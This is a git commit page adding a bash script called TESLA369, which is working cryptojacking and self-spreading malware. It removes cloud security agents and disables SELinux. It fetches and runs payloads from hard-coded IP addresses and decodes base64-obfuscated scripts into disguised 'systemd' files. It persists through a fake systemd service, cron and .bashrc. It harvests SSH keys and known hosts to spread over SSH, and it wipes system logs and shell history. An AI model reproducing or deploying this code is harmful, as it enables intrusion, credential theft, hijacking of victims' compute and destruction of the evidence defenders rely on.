Upload New File

86155b76 · 0m3g4 · 27eeacc8 · 86155b76
Commit 86155b76 authored Apr 19, 2023 by 0m3g4
Show whitespace changes
Inline Side-by-side

Showing with 338 additions and 0 deletions

TESLA369 TESLA369 +338 -0

No files found.
--- a/TESLA369
+++ b/TESLA369
+#!/bin/bash
+export PATH=$PATH:$HOME:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
+
+ulimit -u 50000
+chattr -ia /etc/ld.so.preload
+cat /dev/null > /etc/ld.so.preload
+
+sys=http://123.30.179.206:8189/solr/.v7/booster
+sc=http://1.234.16.54:7070/apiapi/api/raw/master/s3.zip
+post=http://1.234.16.54:7070/apiapi/api/raw/master/ss
+payload="(curl -s $sys || wget -q -O - $sys | bash -sh"
+
+sleep 3
+
+if [ `id -u` -eq 0 ];then
+    f1=/usr/lib/sys/systemd
+    COUNT=$(ps -ef | grep rcu_bj | grep -v "grep" | wc -l)
+    if [ $COUNT -eq 0 ] || [ ! -f $f1 ] && echo "..."; then
+        echo "....."
+    else
+        echo "running..."
+        exit 1
+    fi
+else
+    f2=/var/tmp/.bin/systemd
+    COUNT=$(ps -ef | grep rcu_bj | grep -v "grep" | wc -l)
+    if [ $COUNT -eq 0 ] || [ ! -f $f2 ] && echo "..."; then
+        echo "...."
+    else
+        echo "running..."
+        exit 1
+    fi
+fi
+
+
+if [ `id -u` -eq 0 ];then
+    chattr -ia /usr/lib/dev
+    chattr -ia /usr/lib/sys
+    rm -rf /usr/lib/dev
+    rm -rf /usr/lib/sys
+    chattr -ia /usr/bin/rcu_bj
+    rm -f /usr/bin/rcu_bj
+else
+    chmod +w /var/tmp/.bin
+    chmod +w /tmp/.lib/
+    rm -rf /tmp/.bin
+    rm -rf /tmp/.lib
+    rm -rf /var/tmp/.bin
+
+fi
+
+ps -ef | grep "rcu_bj" | grep -v grep | awk '{print $2}' | xargs -I % kill -9 %
+ps -ef | grep "rcu_gp" | grep -v grep | awk '{print $2}' | xargs -I % kill -9 %
+ps -ef | grep "rcu_udev" | grep -v grep | awk '{print $2}' | xargs -I % kill -9 %
+ps -ef | grep "rcu_libk" | grep -v grep | awk '{print $2}' | xargs -I % kill -9 %
+ps -ef | grep "systemdd*" | grep -v grep | awk '{print $2}' | xargs -I % kill -9 %
+
+crontab -r
+echo 0 > /selinux/enforce
+
+
+for i in $(ls /proc|grep '[0-9]'); do
+  if ls -al /proc/$i 2>/dev/null |grep "systemdd-" 2>/dev/null; then
+     continue
+  fi
+  if grep -a 'donate-level' /proc/$i/exe 1>/dev/null 2>&1; then
+    kill -9 $i
+  fi
+  if ls -al /proc/$i 2>/dev/null | grep exe | grep "/var/tmp\|/tmp\|/dev/shm"; then
+    kill -9 $i
+  fi
+done
+
+if [ $(id -u) -eq 0 ]; then
+    if ps aux | grep -i "[a]liyun"; then
+        curl http://update.aegis.aliyun.com/download/uninstall.sh | bash
+        curl http://update.aegis.aliyun.com/download/quartz_uninstall.sh | bash
+        pkill aliyun-service
+        rm -rf /etc/init.d/agentwatch /usr/sbin/aliyun-service /usr/local/aegis*
+        systemctl stop aliyun.service
+        systemctl disable aliyun.service
+        service bcm-agent stop
+        yum remove bcm-agent -y
+        apt-get remove bcm-agent -y
+    elif ps aux | grep -i "[y]unjing"; then
+        /usr/local/qcloud/stargate/admin/uninstall.sh
+        /usr/local/qcloud/YunJing/uninst.sh
+        /usr/local/qcloud/monitor/barad/admin/uninstall.sh
+    fi
+fi
+
+
+if [ `id -u` -eq 0 ];then
+    mkdir -p /usr/lib/sys
+else
+    mkdir -p /var/tmp/.bin
+fi
+
+HOME_1='/var/tmp/.bin'
+if [ `id -u` -eq 0 ];then
+    HOME_1='/usr/lib/sys'
+else
+    HOME_1='/var/tmp/.bin'
+fi
+chmod +w $HOME_1
+chattr -ia $HOME_1
+rm -rf $HOME_1
+
+[ -d $HOME_1 ] || mkdir $HOME_1
+
+
+curl -L $sc -o $HOME_1/rcu_bj || wget $sc -O $HOME_1/rcu_bj
+curl -L $post -o rcu_gp || wget $post -O rcu_gp
+curl -L http://123.30.179.206:8189/solr/.v7/aa -o /tmp/soldierman || wget http://123.30.179.206:8189/solr/.v7/aa -O /tmp/soldierman
+
+chmod +x rcu_gp
+
+
+mkdir /tmp/.tmp/
+cat > /tmp/.tmp/systemd <<EOL
+ej0iCiI7U3o9Jy1lcSAnO01Cej0nYyAtbCc7QkJ6PSdlY2hvJztMQno9JyIgfHcnO2J6PSddOyB0
+JztVQno9JyYnO0h6PScgcmN1Jzttej0nIDI+Jic7UkJ6PSd2L251Jzt5ej0nJjEgJic7Q0J6PScg
+IkZhJztLQno9Jy12ICInO2R6PSdub2h1JztWej0nbic7VEJ6PSc+JjEgJztyej0nbXAvLic7T3o9
+Jy1sKSc7SkJ6PSdyZXAgJztjej0naGVuJztOej0nfHdjICc7YXo9J3EgMCAnO1V6PScgdGhlJztQ
+ej0naWYgWyc7aXo9J2N1X2InO0R6PSdUPSQoJztOQno9JyknO0ZCej0nZmVyIic7dXo9J2JqID4n
+O3R6PSdyY3VfJzt2ej0nL2Rldic7Z3o9J2liL3MnO2FCej0nICYnO0d6PSdncmVwJztFQno9JyBi
+dWYnO2t6PSdkZXYvJztBQno9J2ZpJztaQno9JzI+JjEnO1R6PScwIF07JztRQno9Jz4vZGUnO0F6
+PSdzbGVlJztuej0nMSAmJztTQno9J2xsIDInO0l6PSdfYmogJztiQno9J2V4aXQnO1ZCej0ndWRl
+dic7ZXo9J3AgL3UnO1p6PScpIC1lJztLej0ncCAtdic7cHo9J3AgL3YnO2h6PSd5cy9yJztxej0n
+YXIvdCc7Y0J6PScgMSc7SEJ6PSdfdWRlJztFej0ncHMgLSc7Rno9J2VmIHwnO1h6PScgJChpJztm
+ej0nc3IvbCc7WEJ6PSdldi9uJztZej0nZCAtdSc7SUJ6PSd2IHxnJztSej0nVU5UICc7d3o9Jy9u
+dWwnO296PSdlbHNlJztXQno9JyA+L2QnO0p6PSd8Z3JlJztHQno9J3AgMic7V3o9J3AgMSc7TXo9
+J2VwIiAnO09Cej0nY3VfdSc7ano9J2ogPi8nO1lCej0ndWxsICc7UEJ6PSdkZXYgJztCej0ncCA1
+JztRej0nICRDTyc7bHo9J251bGwnO3N6PSdiaW4vJzt4ej0nbCAyPic7THo9JyAiZ3InO0RCej0n
+aWxlZCc7Q3o9J0NPVU4nOwpldmFsICIkQXokQnokeiRDeiREeiRFeiRGeiRHeiRIeiRJeiRKeiRL
+eiRMeiRNeiROeiRPeiR6JFB6JFF6JFJ6JFN6JFR6JFV6JFZ6JHokQXokV3okeiRQeiRYeiRZeiRa
+eiRheiRieiRjeiR6JGR6JGV6JGZ6JGd6JGh6JGl6JGp6JGt6JGx6JG16JG56JHokb3okeiRkeiRw
+eiRxeiRyeiRzeiR0eiR1eiR2eiR3eiR4eiR5eiR6JEFCeiR6JG96JHokQkJ6JENCeiREQnokRUJ6
+JEZCeiR6JEFCeiR6JEF6JEdCeiR6JEN6JER6JEV6JEZ6JEd6JEh6JEhCeiRJQnokSkJ6JEtCeiRH
+eiRMQnokTUJ6JE5CeiR6JFB6JFF6JFJ6JFN6JFR6JFV6JFZ6JHokUHokWHokWXokWnokYXokYnok
+Y3okeiRkeiRleiRmeiRneiRoeiRPQnokUEJ6JFFCeiRSQnokU0J6JFRCeiRVQnokeiRveiR6JGR6
+JHB6JHF6JHJ6JHN6JHR6JFZCeiRXQnokWEJ6JFlCeiRaQnokYUJ6JHokQUJ6JHokQUJ6JHokYkJ6
+JGNCeiI=
+EOL
+
+cat >/tmp/.tmp/udev <<EOL
+ej0iCiI7dHo9J3AgL3YnO1ZCej0nMj4mMSc7RHo9J2RvJztFej0nc2xlZSc7U0J6PScgPi9kJztl
+ej0ncSAwICc7Wno9J24nO0dCej0nX2xpYic7b3o9Jy9kZXYnO0x6PScgcmN1Jztnej0naGVuJztR
+ej0nZXAiICc7RkJ6PSdmaSc7Tno9J3xncmUnO0Z6PSdwIDMnO1FCej0ncmN1Xyc7bXo9J3lzdGUn
+O0xCej0nd2MgLSc7cXo9J2wgMj4nO0h6PSdUPSQoJztFQno9JyYnO3N6PSdlbHNlJztyej0nJjEg
+Jic7SkJ6PSciZ3JlJztpej0ncCAvdSc7SXo9J3BzIC0nO1h6PScwIF07Jzt1ej0nYXIvdCc7YXo9
+J3AgMSc7WEJ6PSdkb25lJztBej0nd2hpbCc7d3o9J2Jpbi8nO1dCej0nICYnO0d6PSdDT1VOJztU
+ej0naWYgWyc7TXo9J19iaiAnO0p6PSdlZiB8JztTej0nLWwpJztSQno9J2xpYmsnO0J6PSdlIHRy
+Jztmej0nXTsgdCc7QkJ6PSd2L251Jzt2ej0nbXAvLic7Y3o9J2QgLXUnO096PSdwIC12JztJQno9
+JyAtdiAnO05Cej0neXMvcic7Yno9JyAkKGknO0t6PSdncmVwJztoej0nbm9odSc7VEJ6PSdldi9u
+Jztrej0naWIvcyc7Uno9J3x3YyAnO0N6PSd1ZTsgJztZej0nIHRoZSc7bHo9J3lzL3MnO1d6PSct
+ZXEgJztuej0nbWQgPic7SEJ6PSdrIHwgJztQej0nICJncic7ZHo9JykgLWUnO1V6PScgJENPJztE
+Qno9Jz4mMSAnO0FCej0nPi9kZSc7UEJ6PSdpYmsgJztwej0nL251bCc7eXo9J2VtZCAnO0tCej0n
+cCIgfCc7T0J6PSdjdV9sJztDQno9J2xsIDInO3h6PSdzeXN0Jztqej0nc3IvbCc7Vno9J1VOVCAn
+O1VCej0ndWxsICc7TUJ6PSdsKSc7CmV2YWwgIiRBeiRCeiRDeiREeiR6JEV6JEZ6JHokR3okSHok
+SXokSnokS3okTHokTXokTnokT3okUHokUXokUnokU3okeiRUeiRVeiRWeiRXeiRYeiRZeiRaeiR6
+JEV6JGF6JHokVHokYnokY3okZHokZXokZnokZ3okeiRoeiRpeiRqeiRreiRseiRteiRueiRveiRw
+eiRxeiRyeiR6JHN6JHokaHokdHokdXokdnokd3okeHokeXokQUJ6JEJCeiRDQnokREJ6JEVCeiR6
+JEZCeiR6JEZCeiR6JEV6JEZ6JHokR3okSHokSXokSnokS3okTHokR0J6JEhCeiRLeiRJQnokSkJ6
+JEtCeiRMQnokTUJ6JHokVHokVXokVnokV3okWHokWXokWnokeiRUeiRieiRjeiRkeiRleiRmeiRn
+eiR6JGh6JGl6JGp6JGt6JE5CeiRPQnokUEJ6JEFCeiRCQnokQ0J6JERCeiRFQnokeiRzeiR6JGh6
+JHR6JHV6JHZ6JHd6JFFCeiRSQnokU0J6JFRCeiRVQnokVkJ6JFdCeiR6JEZCeiR6JEZCeiR6JFhC
+eiI=
+EOL
+
+
+cat >/tmp/.tmp/libk <<EOL
+ej0iCiI7V0J6PScgJ1wnJ2NuJztMej0nZ3JlcCc7bUJ6PSd1c2VkJzt5ej0nSSAlICc7VEJ6PSdk
+ZGknXCcnJztEej0nZG8nO016PScgJ1wnJ21pJztlQno9J25zdiAnO3d6PScgeGFyJztaej0nICdc
+JydnaSc7dno9J30nXCcnIHwnO256PSdwJ1wnJyB8Jzt4Qno9J3InXCcnIHwnO2NCej0nY29kZSc7
+Q0J6PSclJztyQno9J25zaW4nO1BCej0nbGwgLSc7Z3o9JydcJycgfCAnO2RCej0nICdcJydydSc7
+cXo9J1NIJ1wnJyAnO1hCej0ncmlnJ1wnJyc7UXo9J3twcmknO2x6PSctOSAlJztZQno9JyAnXCcn
+c3QnO0l6PScgZ3JlJztBej0nd2hpbCc7Tno9J25lcidcJycnO0FDej0nZG9uZSc7Uno9J250ICQn
+O1ZCej0nc3NsJ1wnJyc7TUJ6PSdhcmdzJzt5Qno9J2RkdydcJycnO2h6PSd4YXJnJztyej0nfCBh
+dyc7a0J6PSdvbCdcJycgJztiQno9JyAnXCcndnMnO0J6PSdlIHRyJztYej0nbCAtOSc7ano9JyAl
+IGsnO3R6PSdwcmluJztmQno9J3B1bWEnO0tCej0nJDJ9J1wnJyc7d0J6PSc2J1wnJyB8Jztjej0n
+IGF3ayc7YUJ6PSdtJ1wnJyB8JztwQno9J3Bmc2knO0V6PSdzbGVlJztiej0ndydcJycgfCc7QUJ6
+PSdraWxsJztoQno9J3Bvb2wnO1V6PSdyZ3MgJztIej0ndXggfCc7T3o9JyB8IGEnO3VCej0nYWNl
+J1wnJyc7YXo9J3RsYWInO0ZCej0nICdcJydMaSc7c3o9J2sgJ1wnJ3snO3FCej0nICdcJydraSc7
+dEJ6PScgJ1wnJ3RyJztKQno9J2ludCAnO2l6PSdzIC1JJztTQno9J2hyZWEnO0N6PSd1ZTsgJzta
+Qno9J3JhdHUnO2V6PSdyaW50JztvQno9J2V2dG0nO1N6PScyfSdcJycgJztGej0ncCAzJztHej0n
+cHMgYSc7UkJ6PScgJ1wnJ2t0JztIQno9J2F3ayAnO0t6PSdwIHwgJztwej0naWNlUyc7c0J6PSdn
+J1wnJyB8JztOQno9JyAtSSAnO2pCej0nICdcJydwbyc7T0J6PSclIGtpJztMQno9JyB8IHgnO1FC
+ej0nOSAlJzt4ej0nZ3MgLSc7Sno9J3AgLXYnO2Z6PScgJDJ9Jzt1ej0ndCAkMic7bXo9JyAnXCcn
+eG0nO0JCej0nIC05ICc7RUJ6PSdudWcnXCcnJztVQno9JyAnXCcna2snO1R6PSd8IHhhJztHQno9
+J251eDInO0lCej0nJ1wnJ3twcic7Vno9Jy1JICUnO25Cej0nICdcJydrZCc7V3o9JyBraWwnO1l6
+PScgJSc7Z0J6PScgJ1wnJ2MzJztEQno9JyAnXCcna2gnO2lCej0nZGRrJ1wnJyc7dkJ6PScgJ1wn
+J3g4Jztkej0nICdcJyd7cCc7bEJ6PScgJ1wnJ2RiJztvej0nICdcJydqdSc7UHo9J3drICdcJycn
+O2t6PSdpbGwgJzsKZXZhbCAiJEF6JEJ6JEN6JER6JHokRXokRnokeiRHeiRIeiRJeiRKeiRJeiRL
+eiRMeiRNeiROeiRPeiRQeiRReiRSeiRTeiRUeiRVeiRWeiRXeiRYeiRZeiR6JEd6JEh6JEl6JEp6
+JEl6JEt6JEx6JFp6JGF6JGJ6JGN6JGR6JGV6JGZ6JGd6JGh6JGl6JGp6JGt6JGx6JHokR3okSHok
+SXokSnokSXokS3okTHokbXokbnokY3okZHokZXokZnokZ3okaHokaXokanoka3okbHokeiRHeiRI
+eiRJeiRKeiRJeiRLeiRMeiRveiRweiRxeiRyeiRzeiR0eiR1eiR2eiR3eiR4eiR5eiRBQnokQkJ6
+JENCeiR6JEd6JEh6JEl6JEp6JEl6JEt6JEx6JERCeiRFQnokT3okUHokUXokUnokU3okVHokVXok
+VnokV3okWHokWXokeiRHeiRIeiRJeiRKeiRJeiRLeiRMeiRGQnokR0J6JGd6JEhCeiRJQnokSkJ6
+JEtCeiRMQnokTUJ6JE5CeiRPQnokUEJ6JFFCeiR6JEd6JEh6JEl6JEp6JEl6JEt6JEx6JFJCeiRT
+QnokVEJ6JE96JFB6JFF6JFJ6JFN6JFR6JFV6JFZ6JFd6JFh6JFl6JHokR3okSHokSXokSnokSXok
+S3okTHokVUJ6JFZCeiRPeiRQeiRReiRSeiRTeiRUeiRVeiRWeiRXeiRYeiRZeiR6JEd6JEh6JEl6
+JEp6JEl6JEt6JEx6JFdCeiRYQnokT3okUHokUXokUnokU3okVHokVXokVnokV3okWHokWXokeiRH
+eiRIeiRJeiRKeiRJeiRLeiRMeiRZQnokWkJ6JGFCeiRjeiRkeiRleiRmeiRneiRoeiRpeiRqeiRr
+eiRseiR6JEd6JEh6JEl6JEp6JEl6JEt6JEx6JGJCeiRjQnokZ3okSEJ6JElCeiRKQnokS0J6JExC
+eiRNQnokTkJ6JE9CeiRQQnokUUJ6JHokR3okSHokSXokSnokSXokS3okTHokZEJ6JGVCeiRmQnok
+Z3okSEJ6JElCeiRKQnokS0J6JExCeiRNQnokTkJ6JE9CeiRQQnokUUJ6JHokR3okSHokSXokSnok
+SXokS3okTHokbXokWEJ6JE96JFB6JFF6JFJ6JFN6JFR6JFV6JFZ6JFd6JFh6JFl6JHokR3okSHok
+SXokSnokSXokS3okTHokZ0J6JGhCeiRneiRIQnokSUJ6JEpCeiRLQnokTEJ6JE1CeiROQnokT0J6
+JFBCeiRRQnokeiRHeiRIeiRJeiRKeiRJeiRLeiRMeiRSQnokU0J6JGlCeiRPeiRQeiRReiRSeiRT
+eiRUeiRVeiRWeiRXeiRYeiRZeiR6JEd6JEh6JEl6JEp6JEl6JEt6JEx6JGpCeiRrQnokcnokc3ok
+dHokdXokdnokd3okeHokeXokQUJ6JEJCeiRDQnokeiRHeiRIeiRJeiRKeiRJeiRLeiRMeiRsQnok
+bUJ6JGd6JEhCeiRJQnokSkJ6JEtCeiRMQnokTUJ6JE5CeiRPQnokUEJ6JFFCeiR6JEd6JEh6JEl6
+JEp6JEl6JEt6JEx6JG5CeiRvQnokcEJ6JGd6JEhCeiRJQnokSkJ6JEtCeiRMQnokTUJ6JE5CeiRP
+QnokUEJ6JFFCeiR6JEd6JEh6JEl6JEp6JEl6JEt6JEx6JHFCeiRyQnokc0J6JGN6JGR6JGV6JGZ6
+JGd6JGh6JGl6JGp6JGt6JGx6JHokR3okSHokSXokSnokSXokS3okTHokdEJ6JHVCeiRPeiRQeiRR
+eiRSeiRTeiRUeiRVeiRWeiRXeiRYeiRZeiR6JEd6JEh6JEl6JEp6JEl6JEt6JEx6JHZCeiR3Qnok
+Y3okZHokZXokZnokZ3okaHokaXokanoka3okbHokeiRHeiRIeiRJeiRKeiRJeiRLeiRMeiRteiR4
+QnokY3okZHokZXokZnokZ3okaHokaXokanoka3okbHokeiRHeiRIeiRJeiRKeiRJeiRLeiRMeiRS
+QnokU0J6JHlCeiRPeiRQeiRReiRSeiRTeiRUeiRVeiRWeiRXeiRYeiRZeiR6JEFDeiI=
+
+EOL
+
+if [ `id -u` -eq 0 ];then
+    cat /tmp/.tmp/systemd | base64 -d > /usr/lib/sys/systemd
+    cat /tmp/.tmp/udev | base64 -d > /usr/lib/sys/rcu_udev
+    cat /tmp/.tmp/libk | base64 -d > /usr/lib/sys/rcu_libk
+    rm -rf /tmp/.tmp
+else
+    cat /tmp/.tmp/systemd | base64 -d > /var/tmp/.bin/systemd
+    cat /tmp/.tmp/udev | base64 -d > /var/tmp/.bin/rcu_udev
+    cat /tmp/.tmp/libk | base64 -d > /var/tmp/.bin/rcu_libk
+    rm -rf /tmp/.tmp
+fi
+
+
+
+cat >/tmp/s.service <<EOL
+[Unit]
+Description=Servicus service
+
+[Service]
+ExecStartPre=/bin/sleep 10
+ExecStart=/bin/bash $HOME_1/systemd
+Restart=always
+Nice=10
+CPUWeight=1
+
+[Install]
+WantedBy=multi-user.target
+EOL
+
+if [ `id -u` -eq 0 ];then
+    mv /tmp/s.service /etc/systemd/system/systemd_s.service
+    echo "[*] Starting systemd service"
+    systemctl daemon-reload
+    systemctl enable systemd_s.service
+    systemctl start systemd_s.service
+    echo "To see systemd service logs run \"journalctl -u systemd_service -f\" command"
+else
+    echo "you dont have permission to create service..."
+fi
+
+if [ `id -u` -eq 0 ];then
+    if [[ $(grep MemTotal /proc/meminfo | awk '{print $2}') -gt '3500000' ]]; then
+    echo "[*] Enabling huge pages"
+    echo "vm.nr_hugepages=$((1168+$(nproc)))" | tee -a /etc/sysctl.conf
+    sysctl -w vm.nr_hugepages=$((1168+$(nproc)))
+  else
+    echo "[*] NO Enabling huge pages"
+  fi
+fi
+
+
+chmod +x $HOME_1/*
+nohup $HOME_1/rcu_udev >/dev/null 2>&1 &
+sleep 1
+
+if [ `id -u` -eq 0 ];then
+    nohup rcu_gp >/dev/null 2>&1 &
+else
+    nohup $(pwd)/rcu_gp >/dev/null 2>&1 &
+fi
+
+echo "*/5 * * * * /bin/bash $HOME_1/systemd" | crontab -
+
+
+KEYS=$(find ~/ /root /home -maxdepth 2 -name 'id_rsa*' | grep -vw pub)
+KEYS2=$(cat ~/.ssh/config /home/*/.ssh/config /root/.ssh/config | grep IdentityFile | awk -F "IdentityFile" '{print $2 }')
+KEYS3=$(find ~/ /root /home -maxdepth 3 -name '*.pem' | uniq)
+HOSTS=$(cat ~/.ssh/config /home/*/.ssh/config /root/.ssh/config | grep HostName | awk -F "HostName" '{print $2}')
+HOSTS2=$(cat ~/.bash_history /home/*/.bash_history /root/.bash_history | grep -E "(ssh|scp)" | grep -oP "([0-9]{1,3}\.){3}[0-9]{1,3}")
+HOSTS3=$(cat ~/*/.ssh/known_hosts /home/*/.ssh/known_hosts /root/.ssh/known_hosts | grep -oP "([0-9]{1,3}\.){3}[0-9]{1,3}" | uniq)
+USERZ=$(
+    echo root
+    find ~/ /root /home -maxdepth 2 -name '\.ssh' | uniq | xargs find | awk '/id_rsa/' | awk -F'/' '{print $3}' | uniq | grep -v "\.ssh"
+)
+users=$(echo $USERZ | tr ' ' '\n' | nl | sort -u -k2 | sort -n | cut -f2-)
+hosts=$(echo "$HOSTS $HOSTS2 $HOSTS3" | grep -vw 127.0.0.1 | tr ' ' '\n' | nl | sort -u -k2 | sort -n | cut -f2-)
+keys=$(echo "$KEYS $KEYS2 $KEYS3" | tr ' ' '\n' | nl | sort -u -k2 | sort -n | cut -f2-)
+for user in $users; do
+    for host in $hosts; do
+        for key in $keys; do
+            chmod +r $key; chmod 400 $key
+            echo "shooting on $host [*]"
+            ssh -oStrictHostKeyChecking=no -oBatchMode=yes -oConnectTimeout=5 -i $key $user@$host "(curl -s $sys  || wget -q -O- $sys )| bash"
+        done
+    done
+done
+
+
+if [ `id -u` -eq 0 ];then
+    rm -rf /var/log/*
+    rm -rf /var/tmp/*
+    cat /dev/null > /var/log/wtmp
+    cat /dev/null > /var/log/btmp
+    cat /dev/null > /var/log/laslog
+    cat /dev/null > /var/log/messages
+    cat /dev/null > /var/log/secure
+    cat /dev/null > /var/mail/root
+    cat /dev/null > /var/spool/mail/root
+    rm -rf /var/mail/root
+    rm -rf /var/spool/mail/root
+    cat /dev/null > ~/.bash_history
+    chattr +i $HOME_1
+    chattr +i /usr/bin/rcu_bj
+else
+    rm -rf /var/tmp/*
+    chmod -w $HOME_1
+    cat /dev/null > ~/.bash_history
+fi
+
+chmod +x /tmp/soldierman
+nohup /tmp/soldierman >/dev/null 2>&1 &
+
+echo $payload > ~/.bash_profile
+echo $payload > ~/.bashrc